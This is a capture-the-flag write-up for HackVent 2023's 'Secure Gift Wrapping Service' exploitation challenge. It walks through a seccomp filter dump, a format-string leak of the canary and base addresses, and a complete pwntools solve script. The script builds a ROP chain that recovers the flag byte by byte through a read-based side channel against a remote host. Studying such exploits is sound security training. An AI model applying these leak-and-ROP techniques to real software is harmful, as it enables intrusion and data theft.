HackVent 2023 - [HV23.22] Secure Gift Wrapping Service

Posted on Jan 1, 2024

Difficulty: Leet

Category: Exploitation

Author: darkice

This year, a new service has been launched to support the elves in wrapping gifts. Due to a number of stolen gifts in recent days, increased security measures have been introduced and the gifts are being stored in a secret place. As Christmas is getting closer, the elves need to load the gifts onto the sleigh, but they can’t find them. The only hint to this secret place was probably also packed in one of these gifts. Can you take a look at the service and see if you can find the secret?

Checksec shows us the following:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

Upon disassembly, we can see there are seccomp rules. We can run seccomp-tools dump ./pwn to see them:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x06 0x00 0x00000000  if (A == read) goto 0012
 0006: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0012
 0007: 0x15 0x04 0x00 0x00000003  if (A == close) goto 0012
 0008: 0x15 0x03 0x00 0x00000009  if (A == mmap) goto 0012
 0009: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0012
 0010: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0012
 0011: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

The most important thing here is that write isn’t allowed, thus meaning we can’t just output the flag.

There is a format string vulnerability right in the beginning, allowing us to leak some addresses:

  • %43$p for the stack canary
  • %47$p for main
  • %65$p for __libc_start_main__impl + 128

The binary reads the flag and then stores it in a “random” mmapped location. That location isn’t truly random though as rand() hasn’t been seeded in advance. That means the flag is in a static offset, specifically 0x6b8b4567500.

Now we need to build some kind of ROP chain to exfiltrate the flag. We don’t have much options here without writing to stdout so I decided to use an approach where I’m going through every character individually and I call read with 0 as fd so that the program execution waits for input. On a wrong character, the fd isn’t zero so the program will continue and segfault immediately.

The chain looks as follows:

  1. Pop the flag address plus the offset for the current letter into rax
  2. Pop the negative numerical representation of the letter we’re looking for into rsi
  3. Add rsi to rax
  4. Binary AND of rax with 0x0000000000ff so that only the last byte is used
  5. Call read with the value of rax

I couldn’t find perfect gadgets so I had to improvise a bit and e.g. use xchg edi, eax to put the fd number into rdi, the first argument for read.

Also the remote decided to randomly kill my connection from time to time so I implemented a recursive approach that tries the exploit until there was a result:

try:
    r.recvuntil(b"...\n")
except EOFError:
    return main(char, offset)

The full solve script looks like this:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./pwn_patched")
libc = ELF("./libc.so.6")

orig_exe_addr = exe.address
orig_libc_addr = libc.address

context.binary = exe

# set log level to warn
log.setLevel(logging.WARN)

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("152.96.15.4", 1337)
    return r


def main(char, offset):
    r = conn()
    # restore base addresses after eacch run
    exe.address = orig_exe_addr
    libc.address = orig_libc_addr

    ##### LEAKING FROM STACK
    r.sendlineafter(b"for? ",b"%43$p.%47$p.%65$p")
    r.recvuntil(b"of ")
    leaks = r.recvuntil(b"\n")
    stack_cookie, main_addr, libc_addr = [int(x[2:], 16) for x in leaks.split(b".")]
    info("stack_cookie: %#x", stack_cookie)
    base_addr = main_addr - exe.sym["main"]
    exe.address = base_addr
    flag_addr_tmp = base_addr + 17728
    info("flag_addr: %#x", flag_addr_tmp)
    info("base_addr: %#x", base_addr)
    libc_base = libc_addr - libc.sym["__libc_start_main_impl"] - 128
    libc.address = libc_base
    info("libc_base: %#x", libc_base)


    ##### ROP CHAINS
    ropc = ROP(libc)

    #### ROP Gadgets
    add_rax_rsi = libc_base + 0x00000000000b513c
    mov_rax_qwrp_rax = libc_base + 0x0000000000149fdc
    and_rax_rcx_or_rax_rdx = libc_base + 0x00000000001252e1
    flag_addr = 0x6b8b4567500

    xchg_edi_eax = libc_base + 0x0000000000149fc5
    pop_rsi = ropc.find_gadget(["pop rsi", "ret"]).address
    pop_rdx = ropc.find_gadget(["pop rdx", "ret"]).address
    pop_rax = ropc.find_gadget(["pop rax", "ret"]).address
    pop_rcx = ropc.find_gadget(["pop rcx", "ret"]).address

    rop_chain = [
        #mov_rax_rsi,
        pop_rax, flag_addr+offset,

        # negative character we're looking for
        pop_rsi, -ord(char),

        # make rax an absolute value
        mov_rax_qwrp_rax,

        # subtract char from rax
        add_rax_rsi,

        # workaround to only use 1 byte of rax
        pop_rcx,
        0x00000000000000ff,
        pop_rdx,
        0x0000000000000000,
        and_rax_rcx_or_rax_rdx,

        # clean up rdi for swapping
        pop_rsi, flag_addr_tmp,
        pop_rdx, 0x100000,

        # swap rdi and rax first
        xchg_edi_eax,

        # if rdi it's zero, we'll get a read on stdin
        libc.sym["read"]

    ]

    ##### FINAL PAYLOAD
    payload = flat(
            b'A' * 264,
            stack_cookie,
            b'B' * 8,
            # ropc.chain(),
            rop_chain
    )
    # offset to fill the buffer first
    r.sendline((0x600) * b"A")
    r.sendline(payload)

    try:
        r.recvuntil(b"...\n")
    except EOFError:
        return main(char, offset)
    correct = True
    # is the connection still open
    try:
        # dummy recv
        r.recvuntil(b"...\n", timeout=2)
    except EOFError:
        warn("EOF")
        correct = False
    except:
        warn("Timeout")

    return correct




alphabet = "abcdefghijklmnopqrstuvwxyz"
alphabet += "Z0123456789_{}-"
alphabet += "ABCDEFGHIJKLMNOPQRTSTUVXYZ"

flag="HV23{"
for i in range(5, 100):
    for char in alphabet:
        print(f"Trying {char} at {i}")
        if main(char, i):
            # no clue why the offset is like that
            flag += chr(ord(char)+4) if char not in ["_","}"] else char
            print(flag)
            break
    if flag.endswith("}"):
        break

For some reason my approach didn’t work with numbers so the output was the following:

HV23{t4m4_4s4e_s4er4t_exf4ltr4t44n}.

From there I could just guess though, the flag is:

HV23{t1m3_b4s3d_s3cr3t_exf1ltr4t10n}